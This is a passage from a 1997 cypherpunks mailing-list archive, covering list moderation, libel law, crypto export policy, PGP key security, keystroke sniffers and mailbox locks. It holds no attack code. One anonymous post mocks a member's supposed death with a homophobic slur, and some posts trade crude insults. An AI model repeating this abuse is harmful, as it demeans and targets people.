rain.org wrote: > > Requested Account Name: ashley > Requested Password: eyez > THIS MEMBER HAS BEEN ADDED TO THE UPDATE LIST Yup, the password worked for me, OK. Did it work for everyone else? Toto From toto at sk.sympatico.ca Sun Feb 2 01:47:05 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:47:05 -0800 (PST) Subject: [GSM] Hardening mailing lists against spam attacks In-Reply-To: <199701310033.QAA27430@mailmasher.com> Message-ID: <32F47F71.3A8@sk.sympatico.ca> Huge Cajones Remailer wrote: > > Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night > with his faggot lover. > > __o > _ \<_ Dr.Derisve Vitriol K[reep]OfTheMoment > (_)/(_) From blancw at cnw.com Sun Feb 2 01:49:50 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 01:49:50 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <01BC10AB.F9523E60@king1-10.cnw.com> From: Toto I am not speaking of the sheep-mentality in regard to moderation or any other single issue on the list. I am speaking of the tendency of many list-members to fall into common ruts of thought wherein the comments and opinions of others are auto-files as this-or-that, and interpreted in that light, no matter what the actual content of their messages. ................................................ Hm, well, what's an anarchist to do about other people's psychological makeup? = I regard Igor and yourself, and a number of others, in the same light. I'm reluctant to bend over and drop my pants, waiting for you to kiss my butt, because I realize that I am just as likely to feel the sting of your toe-nailed boots instead of soft lips. .......................................... Hm, well, I'm not in the custom of doing either of those things, but thanks for the compliment! = But, under the New List Order, any strong opinion risks being thrown in the crapper as a 'flame'. ............................................... Not that I'm condoning centralized management, but I bet I could flame anyone pretty good yet by-pass the moderator. It's all in the style, you know. Some people are very delicate about what offends them - I know I could get on some particular people's nerves any day without trying. An opportunist can take advantage of another's infirmity by being perfectly polite while yet excruciatingly annoying. = Yes, but there are always members to whom these treatises and orientation of thought are 'new', and people only notice the repetiveness when they are, indeed, following these posts, which means that they must be getting some value out of them. ............................................ Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's commendable that he would write about the same ideas in fresh new ways, for the benefit of the newbies and the entertainment of the oldies. But not everyone is as interested & willing (or have the time) to re-iterate this way, and with only one or a few "holding up the ship", so to speak, it leaves a lot of room for wayless bickering degenerating into unproductive ad hominems - ad absurdum, ad nauseam. You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division of History & Philosophy .... .. Blanc From lwjohnson at grill.sk.ca Sun Feb 2 01:55:13 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Sun, 2 Feb 1997 01:55:13 -0800 (PST) Subject: PGP 2.1 Message-ID: <32F480AB.2341@grill.sk.ca> Hello, Can any;one tell me how to get a version of PGP 2.1? Thanks From adam at homeport.org Sun Feb 2 01:56:23 1997 From: adam at homeport.org (Adam Shostack) Date: Sun, 2 Feb 1997 01:56:23 -0800 (PST) Subject: "Strong" crypto and export rule changes. Message-ID: <199702020956.BAA16024@toad.com> Steve Schear wrote: | > What the US government will allow to be exported is not "strong | >encryption." It is encryption only slightly too strong to be broken | >by an amateur effort. For the right investment in custom hardware, it | >falls quickly. (500,000 $US = 3.5 hour avg break). | > | | Considering Ian's feat you certainly seem to have had your crystal | ball in hand. I wear three around my neck. Its a new age thing. More seriously, that estimate is the cost of breaking DES on custom hardware, based on Wiener's figures. Ian got RC4-40 in 3.5 hours on I don't know how much hardware, not a lot of it custom, AFAIK. Adam -- Pet peeve of the day: Security companies whose protocols dare not speak their name, because they don't have one. Guilty company of the day is now V-One. From scott-b at ix.netcom.com Sun Feb 2 01:56:25 1997 From: scott-b at ix.netcom.com (Scott) Date: Sun, 2 Feb 1997 01:56:25 -0800 (PST) Subject: Keystroke sniffer question Message-ID: <199702020956.BAA16025@toad.com> How can you detect if there is a keystroke sniffer on your computer. Is there a file name to look for? Where do people get them? ======================================= Scott Bellavance scott-b at ix.netcom.com http://www.netcom.com/~scott-b/homepage.html ======================================= -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzAu56UAAAEEAL8pOdPu2pw5E91f99ByJWT+O1smtcOlIr6GL9TdCbdZ6I2U UPLl7RL5cV4e3Wv4nIIZiOIePMAUouM5fQZib4vnGpCKM/WxfGQBRGafsq2mlzvE IKLBrdYhQ5STl/qZIaCKI2+V4hdsvTPaI0PCqGzGoiDv9gbbZ40Gi3F38KqtAAUR tCtTY290dCBSLiBCZWxsYXZhbmNlIDxzY290dC1iQGl4Lm5ldGNvbS5jb20+ =Hfbk -----END PGP PUBLIC KEY BLOCK----- From dlv at bwalk.dm.com Sun Feb 2 01:56:27 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 2 Feb 1997 01:56:27 -0800 (PST) Subject: Key Security Question Message-ID: <199702020956.BAA16034@toad.com> Bill Stewart writes: > >> My computer went into the shop a few days ago, and I was unable to take > >> my PGP keys off it before it went in. What are the security risks here? > >> If the repairman chooses to snoop through the files, what would he be > >> able to do with my key pair? Will I need to revoke the key and make a > >> new one, or will I be relatively safe since he doesn't have my > >> passphrase? > > Passphrases are MD5-hashed into 128-bit IDEA keys and used to > encrypt the secret key; there's a "pgpcrack" program out there > that does dictionary-style searches to find if you've got > wimpy passphrases. So if your passphrases is "secret", you lose, > but if it's "fjhw;doifvjuc-[09efiu v` 2 4rnhc;ljoipcvjpoiewujfgv;loik" > you're probably pretty safe, unless that's written on the yellow > sticky you left on the side of the PC. > > On the other hand, if the "repairman" replaced your pgp executable > with version 2.6.3kgb, which uses your hashed passphrase as the > session key, you're hosed. Or if he installed a keystroke sniffer, > or added a small radio transmitter to your keyboard, or whatever. > Depends on your threat model. If you need to be paranoid, > they've already gotten you.... If you're really paranoid, you can boot from a clean floppy and reinstall everything from your backup tapes. You do have a contingency plan in case your hard disk goes bad, or gets a virus, don't you? Well, if you're in doubt, exercise it. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From toto at sk.sympatico.ca Sun Feb 2 01:56:30 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:56:30 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702020956.BAA16038@toad.com> Jim Choate wrote: > It has been asserted that I am claiming that a free and open society should > not abide any and all actions in contrast to Jim Bell's assertion that a > free and open society must tolerate any action. > > This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY > ECONOMIC system must have some minimum standards on what is allowed. By no > means do I hold that the ONLY means of a free and open society is a democracy. > It is quite possible to have an anarchy which would also be a free and open > society and by DEFINITION would tolerate any action by its members acting > individualy or in concert. I have waited, with bated breath, for you to take a position which is short, concise, and well-reasoned. Well, you finally did, but you just couldn't leave it alone, could you? I think that what you have written (above) is a valid and meaningful statement of your position. I see what follows, however, as a train of 'logic' which follows a pre-defined, emotionally-charged justification of a defensive position you have taken, as a result of a real or imagined 'slight'. I have followed your 'libel' thread, as rambling (and sometimes dichotomously incoherent) as it is, and I recognize that you are passionate in your beliefs (for which I salute you), but I think that perhaps your interests might be better served if you let logic lead your emotions. If you did so, I might well hire you as my lawyer (to defend me in your libel suit against me), since you do have a 'bulldog' sense of determination in pursing any position you take. The million-and-one posts you made with the results of your search-engine research on libel only served to accentuate your inability to fully understand the issues underlying libel and defamation. Your own opinions regarding your thoughts and opinions regarding these same issues were much more poignant and enlightening. I would hope that, in the future, you would justify your beliefs and opinions with a revelation of your own points of logic (or illogic) rather than attempting to support them with legalese rulings which often stand on a foundation of sand, especially under close judicial scrutiny. You do, indeed, raise some points that are worthy of valid consideration, and debate, but they tend to get lost in your excessive arguments regarding them. Toto From dthorn at gte.net Sun Feb 2 01:58:06 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 2 Feb 1997 01:58:06 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702020958.BAA16066@toad.com> Declan McCullagh wrote: > That question is one for Tim to answer, but I should point out that > philosophical anarchists are not necessarily opposed to rules, just > government rules -- which this moderation policy clearly is not. I've seen this kind of statement so many times I just have to point it out: "which this moderation policy *clearly* (emph. mine) is not". Why is it so clear to you, but not everyone? Am I missing something? Didn't Reagan, Bush, North et al make it clear enough to Americans that much of what the govt. does has been privatized, as if we didn't know already from the 1970's assassination hearings in the Congress, or from when Carter fired the 900 security guys and they went to work for "private" contractors? I ask you again to look at the motives of the people involved. John Gilmore isn't about to waste a second of his personal time "moderating" this list (who could blame him?), and I can't for the life of me see a reason why Sandy would want to devote so much time to it. Have you or anyone seen a real reason why Sandy would want to do this? Is he so devoted to crypto and personal freedom that he'll do *anything* to eliminate the postings which "threaten" this list, or could there be some other, hidden motivation? My long experience in the real world says that professional people do *not* devote a great deal of their time to things like this unless there is an *awfully* good reason. > On Sat, 1 Feb 1997, Dale Thorn wrote: > > Toto wrote: > > > 3.5.1 Contrary to what people sometimes claim, there is no ruling > > > clique of Cypherpunks. Anybody is free to do nearly anything, > > > just not free to commit others to course of action, or claim > > > to speak for the "Cypherpunks" as a group (and this last > > > point is unenforceable except through reputation and social > > > repercussions). > > > 3.6.3 "Why isn't the list moderated?" > > > ...hardly consistent with many of our anarchist leanings, is it? > > > - "No, please, let's not become a 'moderated' newsgroup. This > > > would be the end of freedom! > > Is this why T.C. May hasn't posted in quite a while? From toto at sk.sympatico.ca Sun Feb 2 01:58:06 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:58:06 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702020958.BAA16065@toad.com> jim bell wrote: > At 08:02 PM 2/1/97 -0800, Toto wrote: > > I also think that the other list members involved in this thread are > >'nobodies', but I was too polite to say anything. > > It's odd that you would say this. I get that impression ("nobodies") about > practically EVERY subject discussed here. Why name this particular one, as > if it were somehow special? Jim, "You're 'nobody', till 'somebody' loves you..." Everybody has their own prediliction as to what interests them, and what is 'frivilous' on the list. Someone, in private email, mentioned that they felt that 60% of the posts were 'uninteresting'. I replied that this seemed to be a close approximation of many list members' beliefs, but that, if we all moderated/censored out 'our' 60% of 'uninteresting' posts before the list was sent out, that there would be precious little left. I don't know if you recognized my comment as humor, since I have an aversion to using 'happy faces' (the result of a childhood trauma), but I just love to poke fun at the plethora of personas on the list who seem to believe that anything outside of their immediate scope of interest is somehow 'unworthy' of being posted the list. By the way, in order to prevent this post from going to the 'flames' list, I will NOT say that you are a low-life, scum-sucking Nazi piece of shit. I will likewise refrain from suggesting that your mother wears army boots, you are a child-pornographer, an imbecile, and a pervert, or that you beat your wife and children regularly. By golly, I think I'm 'getting the hang of' this new, improved, Politically Correct, nicey-nice list format. Toto From declan at pathfinder.com Sun Feb 2 01:59:48 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Sun, 2 Feb 1997 01:59:48 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702020959.BAA16083@toad.com> That question is one for Tim to answer, but I should point out that philosophical anarchists are not necessarily opposed to rules, just government rules -- which this moderation policy clearly is not. -Declan On Sat, 1 Feb 1997, Dale Thorn wrote: > Toto wrote: > > 3.5.1 Contrary to what people sometimes claim, there is no ruling > > clique of Cypherpunks. Anybody is free to do nearly anything, > > just not free to commit others to course of action, or claim > > to speak for the "Cypherpunks" as a group (and this last > > point is unenforceable except through reputation and social > > repercussions). > > 3.6.3 "Why isn't the list moderated?" > > ...hardly consistent with many of our anarchist leanings, is it? > > - "No, please, let's not become a 'moderated' newsgroup. This > > would be the end of freedom! > > Is this why T.C. May hasn't posted in quite a while? > > > From mhayes at infomatch.com Sun Feb 2 02:11:06 1997 From: mhayes at infomatch.com (Murray Hayes) Date: Sun, 2 Feb 1997 02:11:06 -0800 (PST) Subject: GSM technology Message-ID: <199702021011.CAA16465@toad.com> On Mon, 20 Jan 1997 13:37:38 -0800, Lucky Green wrote: >At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote: >> Does anyone use ADSL lines? or are they still very expensive? > >I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month. > I'm not sure about Nortel but ADSL is availible in Calgary from CadVision. http://www.cadvision.ca It's not cheap. BCTel is yapping about offering it by the end of the year. From wlkngowl at unix.asb.com Sun Feb 2 02:11:23 1997 From: wlkngowl at unix.asb.com (Rob) Date: Sun, 2 Feb 1997 02:11:23 -0800 (PST) Subject: NOISE.SYS Home Page Message-ID: <199702021011.CAA16500@toad.com> I now have an under-construction home page for NOISE.SYS, in case you're interested: http://www.asb.com/usr/wlkngowl/software.htm#noise (NOISE.SYS is a crypto-RNG device for DOS boxes.) Rob ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From blancw at cnw.com Sun Feb 2 02:11:29 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 02:11:29 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702021011.CAA16502@toad.com> From: Greg Broiles Since we've now got Jim Bell arguing that it's obvious that a free and open society must tolerate anything which might be defamatory, and Jim Choate arguing that it's obvious that a free and open society cannot tolerate anything which might be defamatory, I think I'm going to wander away from this discussion confident that the answer is, at least, nonobvious. :) .................................................................. Heh - Jim B. and Jim C.: the Yin & Yang of Society At Large. What could a discussion between them produce. .. Blanc From nobody at huge.cajones.com Sun Feb 2 02:11:33 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 2 Feb 1997 02:11:33 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702021011.CAA16505@toad.com> David Lesher writes: > USPS uses key locks seemingly designed by Ben Franklin himself. > Look at them someday. FedEx boxes used to have Simplex 926 > 5 pushbutton ""locks"" if you stretch the point. Don't let the old-fashioned look deceive you. Most mail storage boxes use lever tumbler locks (similar to what's used in safe deposit vaults, though obviously the mailbox locks have a flimsier plug). Lever tumbler locks are in general much harder to pick than pin tumbler locks (the kind on most doors). From unicorn at schloss.li Sun Feb 2 02:11:41 1997 From: unicorn at schloss.li (Black Unicorn) Date: Sun, 2 Feb 1997 02:11:41 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702021011.CAA16508@toad.com> On Fri, 31 Jan 1997, rex wrote: > Black Unicorn wrote: > > >If you want to look at it a different way, if you are involved with a drug > >offense and are not using a weapon, you'll get a lower sentence than a > >full fledged drug crime. It's a step in the right direction - i.e. away > >from manadatory sentencing of a flat time period for a crime regardless of > >circumstances. > > But Putra got the same sentence she would have gotten had she been > convicted on both charges. The fact that she was acquitted meant nothing. That this is true once, does not make it so in all cases. You also lose sight of the general scheme of things. That the sentence imposed may have the same maximum sentence with sentencing enhancements and a lesser included offense as with conviction of a "great offense" means nothing with regard to the validity of sentencing enhancements. That theft and low level bank fraud have the same penality when theft is enhanced with a "victim was infirm or helpless" or a "firearm was used in furtherance of the crime" could as easily reflect a lack of vigor and spite in the prosecution of bank fraud as it could reflect severe vigor and spite in the prosecution of theft. Please note that the difference between: "But he got the same sentence as he would have if he was convicted of carrying a gun in furtherance of the crime." and "But he got the same sentence as he would have is he was not convicted of carrying a gun in furtherance of the crime." is subtle at best. Next time don't get caught stealing with a gun nearby. -- Forward complaints to : European Association of Envelope Manufactures Finger for Public Key Gutenbergstrasse 21;Postfach;CH-3001;Bern Vote Monarchist Switzerland From kent at songbird.com Sun Feb 2 02:11:43 1997 From: kent at songbird.com (Kent Crispin) Date: Sun, 2 Feb 1997 02:11:43 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702021011.CAA16509@toad.com> Jim Choate allegedly said: > > It has been asserted that I am claiming that a free and open society should [...] > > This is not my case at all. I hold that [...] > means do I hold [...] > I hold [...] > worthless. I DO hold [...] > all speech. I further hold [...] > I further hold [...] > I further hold [...] Whew! That's a lot of holding, my friend. I've heard that prunes help. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From stewarts at ix.netcom.com Sun Feb 2 02:11:45 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 2 Feb 1997 02:11:45 -0800 (PST) Subject: How I Would Ban Strong Crypto in the U.S. Message-ID: <199702021011.CAA16513@toad.com> At 09:58 AM 7/15/96 -0400, about six months ago, when Clipper III was new, Raph Levien wrote: >1. The battle over whether applications can contain strong encryption >algorithms has basically been lost. For example, SSL-enabled >applications are widely available over the world, thanks in large part >to the work of Eric Young. The same will happen for any other encryption >protocol that catches on. Unfortunately, the Government hasn't given up on this one; Peter Gutman's recent articles on export policy in New Zealand and Australia suggest that Our Public Servants are trying an end-run by getting those countries to stop export and development by productive crypto authors, targeting the toolkits that are being widely used inside and outside the US. >2. The battle for key management has not yet been fought. Yeah. I haven't heard much from Clipper III recently, since they've been trumpeting Clipper IV "Key Recovery" recently, but that doesn't mean it's not going on. Unlike politican efforts such as Key Recovery, infrastructure attacks such as PKI may require long-term technical development - the Cooperative Research and Development Alliances (CRADAs) are not just to bribe otherwise-valuable companies to stay out of the way, they're to do things that may be sprung on us later; I'd predict this coming summer. For instance, back in July, John Young quoted a Business Wire article about = Toronto -- Certicom Corp. a leading information security = company, today announced that it will participate in an = initiative by the U.S. Commerce Department's National = Institute of Standards and Technology (NIST) which will = lead to the development of the elements of a public key = infrastructure (PKI). Certicom are the folks who do Elliptic Curve Cryptosystems, which haven't been used much due to patent questions and RSA's dominance, but which allow much shorter public keys and may have some speed advantages, both of which are quite important for smartcard use. >3. Anybody can write an application that supports strong encryption >algorithms. Witness SSH, a very impressive and useful program, which was >basically done by one person, Tatu Ylonen. However, building a key >management infrastructure will take lots of money, hard work, and >cooperation. .... >4. Thus, the best leverage for the TLAs to win is to guide the >development of a key management infrastructure with the following >property: if you don't register your key, you can't play. I believe that >this is the true meaning of the word "voluntary:" you're free to make >the choice not to participate. .. >6. Export is a two player game. The other country has to allow import of >the stuff, too. If the Burns bill passes, the "administration" would >strong-arm other countries to prohibit import of strong crypto, still >leaving US developers with no market. It failed, and they've now got an Ambassador strong-arming other countries to prohibit export. >7. Building this stuff is too much of a task for the TLAs. They tried it >with Clipper, and it failed. They hoped that building the Tessera card >would be enough - that once they threw it over the wall, it would be >eagerly snapped up by industry. >8. Thus, they're going to cajole, bribe, and coerce software companies >to play along. This fact is quite nakedly exposed in the document (good >thing the injunction against the CDA is still in force :-). Yeah. Clipper IV is getting a lot of people jumping on the bandwagon to get export permission for their 56-bit software. Many of the people who are most vocal about it are the usual suspects anyway, but it's closer to commercial usability that industry's more cooperative this round, especially with more Internet money fever. >> Don't be fooled. >Who? Us cypherpunks? >Raph :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ichudov at algebra.com Sun Feb 2 02:13:14 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 2 Feb 1997 02:13:14 -0800 (PST) Subject: Key Security Question Message-ID: <199702021013.CAA16577@toad.com> Dr.Dimitri Vulis KOTM wrote: > Bill Stewart writes: > > On the other hand, if the "repairman" replaced your pgp executable > > with version 2.6.3kgb, which uses your hashed passphrase as the > > session key, you're hosed. Or if he installed a keystroke sniffer, > > or added a small radio transmitter to your keyboard, or whatever. > > Depends on your threat model. If you need to be paranoid, > > they've already gotten you.... > > If you're really paranoid, you can boot from a clean floppy and > reinstall everything from your backup tapes. You do have a > contingency plan in case your hard disk goes bad, or gets a > virus, don't you? Well, if you're in doubt, exercise it. And what if the repairman replaces BIOS ROM chips with KGBios? - Igor. From toto at sk.sympatico.ca Sun Feb 2 02:13:17 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 02:13:17 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702021013.CAA16582@toad.com> blanc wrote: > From: Toto > What currently threatens the list, in my opinion, is not the dissension, > but the rise of a cliquish sheep-mentality and the resulting dismissal > of the opinions of people of Reason (and the opinions of 'anyone', in > general, whom 'I' perceive as being on the 'other side' of an issue). > ........................................................................ > Who are these sheep you're talking about? At the end of the trial period, > anyone still on the list who doesn't like the moderation can at their > leisure either protest vehemently its continuation, producing masterly > works of eloquence in favor of continuing the free-for-all, or they can > unsubscribe (sp?). I am not speaking of the sheep-mentality in regard to moderation or any other single issue on the list. I am speaking of the tendency of many list-members to fall into common ruts of thought wherein the comments and opinions of others are auto-files as this-or-that, and interpreted in that light, no matter what the actual content of their messages. I told Attila the Hun, in private email, that when I opened his messages, that I never knew whether to "pucker-up or duck", because he was just as likely to chastise me as agree with me, depending on his personal opinion of an individual post of mine. I regard Igor and yourself, and a number of others, in the same light. I'm reluctant to bend over and drop my pants, waiting for you to kiss my butt, because I realize that I am just as likely to feel the sting of your toe-nailed boots instead of soft lips. > I think what threatens the list is the absence of really major issues to > fire up everyone's sense of indignation & imagination, But, under the New List Order, any strong opinion risks being thrown in the crapper as a 'flame'. >plus the fact that > many of the long-timers are pretty sophisticated on all the political > issues which have been discussed before (how many of Tim May's long > treatises, engaging, thorough, and relevant as they may be, can one read > yet again without recognizing the repetitive themes therein), Yes, but there are always members to whom these treatises and orientation of thought are 'new', and people only notice the repetiveness when they are, indeed, following these posts, which means that they must be getting some value out of them. > plus a lack > of interest in engaging in rhetorical arguments with people who find it > difficult to think in a straight line. I, too, agree that you can lead a horse to water, but a stitch in time saves nine. > Sometimes the posts on the list > come to resemble more attempts at educating the clueless than discussions > among peers which could truly advance an understanding of between fine > points of difference. Some of the more rambling threads are indeed the result of not understanding that some of the clueless aren't seeking a clue, but merely to hold on to their ignorance. But I would rather err on the side of believing that the person I am replying to is sincere in wanting to discuss an issue in order to gain a broader understanding of it. Toto From wlkngowl at unix.asb.com Sun Feb 2 02:13:26 1997 From: wlkngowl at unix.asb.com (Rob) Date: Sun, 2 Feb 1997 02:13:26 -0800 (PST) Subject: Key Security Question Message-ID: <199702021013.CAA16583@toad.com> On 31 Jan 1997 15:37:01 -0500, you wrote: >My computer went into the shop a few days ago, and I was unable to take >my PGP keys off it before it went in. What are the security risks here? >If the repairman chooses to snoop through the files, what would he be >able to do with my key pair? Will I need to revoke the key and make a >new one, or will I be relatively safe since he doesn't have my >passphrase? Depends how paranoid you are, how good your passphrase is, how much you trust the repairman not to snoop, etc. For the hell of it I'd revoke my key and issue a new one though. It's not a minor inconvenience, and when people use your old key you can still decrypt the message... just send 'em a note that you prefer they use you're current (unrevoked) key. --Rob From toto at sk.sympatico.ca Sun Feb 2 02:15:01 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 02:15:01 -0800 (PST) Subject: Flaming Moderators Message-ID: <199702021015.CAA16608@toad.com> Attila T. Hun wrote: > "Let us remember that 'if we suffer tamely a lawless attack > upon our liberty, we encourage it, and involve others in our > doom.' > --Samuel Adams ("patriot, statesman..."), speech, 1771 Looks like Sam needs to be autobotted to the 'flames' list. Toto From blancw at cnw.com Sun Feb 2 02:15:07 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 02:15:07 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702021015.CAA16619@toad.com> From: Toto What currently threatens the list, in my opinion, is not the dissension, but the rise of a cliquish sheep-mentality and the resulting dismissal of the opinions of people of Reason (and the opinions of 'anyone', in general, whom 'I' perceive as being on the 'other side' of an issue). ........................................................................ Who are these sheep you're talking about? At the end of the trial period, anyone still on the list who doesn't like the moderation can at their leisure either protest vehemently its continuation, producing masterly works of eloquence in favor of continuing the free-for-all, or they can unsubscribe (sp?). They *don't* have to take it, or identify with the cpunks any longer. I think what threatens the list is the absence of really major issues to fire up everyone's sense of indignation & imagination, plus the fact that many of the long-timers are pretty sophisticated on all the political issues which have been discussed before (how many of Tim May's long treatises, engaging, thorough, and relevant as they may be, can one read yet again without recognizing the repetitive themes therein), plus a lack of interest in engaging in rhetorical arguments with people who find it difficult to think in a straight line. Sometimes the posts on the list come to resemble more attempts at educating the clueless than discussions among peers which could truly advance an understanding of between fine points of difference. Whom can one blame for what does not exist (on the list) - there is no mechanism for its production; only the attractions of the subject and the aim, are what bring in the participants who could provide substance and depth. Perhaps waxing lyrical on the features of Eudora and regular reminders on the benefits of mail filtering would be encouraging to "the timid"? .. Blanc From attila at primenet.com Sun Feb 2 02:17:03 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 02:17:03 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702021017.CAA16668@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970201:1452, Greg Broiles said: +Since we've now got Jim Bell arguing that it's obvious that a free and +open society must tolerate anything which might be defamatory, and Jim +Choate arguing that it's obvious that a free and open society cannot +tolerate anything which might be defamatory, ... for what it is worth, anti-defamation, Germany's anti-Holocaust denial, and anti- just about anything legislation dealing with free speech is of and by its very nature an abridgement of your personal freedoms. If you deny one form of speech, it is easy to deny another, and then another... do you wish to march foolishly to Fahrenheit 451? Before the current generation of government vipers and revisionists remove or rewrite even more of the immortal words of history: "Those who deny freedom to others deserve it not for themselves." --Abraham Lincoln let's look at one more famous speech on "nibbling" your rights: "Let us contemplate our forefathers, and posterity, and resolve to maintain the rights bequeathed to us from the former, for the sake of the latter. "Let us remember that 'if we suffer tamely a lawless attack upon our liberty, we encourage it, and involve others in our doom.' It is a very serious consideration that millions yet unborn may be the miserable sharers of the event." --Samuel Adams ("patriot, statesman..."), speech, 1771 and: "The more difficult it is to interact with the government, the more the government wants gun control." --attila in other words, the more they deny our inaliable right to free speech, the more they need gun control before we rise against the usurpers of our rights. Now, if there ever was a liberal do-gooder, Eleanor certainly was: "No one can make you feel inferior without your consent." --Eleanor Roosevelt now, does she mean what she says literally? in other words, is she saying to say what you want, and she will not be harmed or "feel inferior" in this case? I can presume Eleanor could be offended, but is that sufficient to abridge your rights? Nietzsche expresses a defiant tone on first glance -no, the general interpretation is absolute freedom --speech included. "I understand by 'freedom of Spirit' something quite definite - the unconditional will to say No, where it is dangerous to say No." --Friedrich Nietzsche Is not the right to bear arms the same basic freedom as free speech, with one limitation: improper use carries criminal penalties --basically, because the act denies another his freedom. "The right of self-defense is the first law of nature ...and when the right of the people to keep and bear arms is, under any color or pretext whatsoever, prohibited, liberty, if not already annihilated, is on the brink of destruction." --St. George Tucker, in his edition of Blackstone's Commentaries did not the Magna Carta guarantee the right of free speech? Of course, there was not full suffrage at that time, but the Magna Carta is the basis of our common law. Then, let's look at another concept of freedom and a "democracy" Just because a mob calls itself a government, doesn't make it so. Democracy is two wolves and a sheep voting on what to have for dinner. People who claim that money doesn't matter, are usually living on someone else's money. Society is a mental construct, formed by those people who are too insecure to handle the concept of people as individuals. which gets down to just what the hell did my forefathers, and maybe yours, fight for in 1776 if it was not for freedom of speech and assembly, the right to bear arms, to be free from unreasonable search and seizure; and enjoy the protection of law? if we do not pick up that fight and stop corrupt governments from usurping the power of the people, we will lose all freedom. If we give in on _any_ of the first 10 amendments, our Bill of Rights, we are surrendering our deserved personal franchise to a usurping government. and it starts with society and government trying to tell us what we can freely say. I may not like what you have to say, or that you insult my sensibilities or my rectitude, but I will defend your right to my death so that you may do so. Therefore: "With heart and hand I pledge you while I load my gun again, you will never be forgotten or the enemy forgiven, my good comrade..." --Anton Szandor LaVay -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal 0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB yTZ51fvB3tU= =aTWw -----END PGP SIGNATURE----- From lwjohnson at grill.sk.ca Sun Feb 2 02:25:54 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Sun, 2 Feb 1997 02:25:54 -0800 (PST) Subject: PGP 2.1 Message-ID: <199702021025.CAA16822@toad.com> Hello, Can any;one tell me how to get a version of PGP 2.1? Thanks From blancw at cnw.com Sun Feb 2 02:27:39 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 02:27:39 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702021027.CAA16906@toad.com> From: Toto I am not speaking of the sheep-mentality in regard to moderation or any other single issue on the list. I am speaking of the tendency of many list-members to fall into common ruts of thought wherein the comments and opinions of others are auto-files as this-or-that, and interpreted in that light, no matter what the actual content of their messages. ................................................ Hm, well, what's an anarchist to do about other people's psychological makeup? = I regard Igor and yourself, and a number of others, in the same light. I'm reluctant to bend over and drop my pants, waiting for you to kiss my butt, because I realize that I am just as likely to feel the sting of your toe-nailed boots instead of soft lips. .......................................... Hm, well, I'm not in the custom of doing either of those things, but thanks for the compliment! = But, under the New List Order, any strong opinion risks being thrown in the crapper as a 'flame'. ............................................... Not that I'm condoning centralized management, but I bet I could flame anyone pretty good yet by-pass the moderator. It's all in the style, you know. Some people are very delicate about what offends them - I know I could get on some particular people's nerves any day without trying. An opportunist can take advantage of another's infirmity by being perfectly polite while yet excruciatingly annoying. = Yes, but there are always members to whom these treatises and orientation of thought are 'new', and people only notice the repetiveness when they are, indeed, following these posts, which means that they must be getting some value out of them. ............................................ Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's commendable that he would write about the same ideas in fresh new ways, for the benefit of the newbies and the entertainment of the 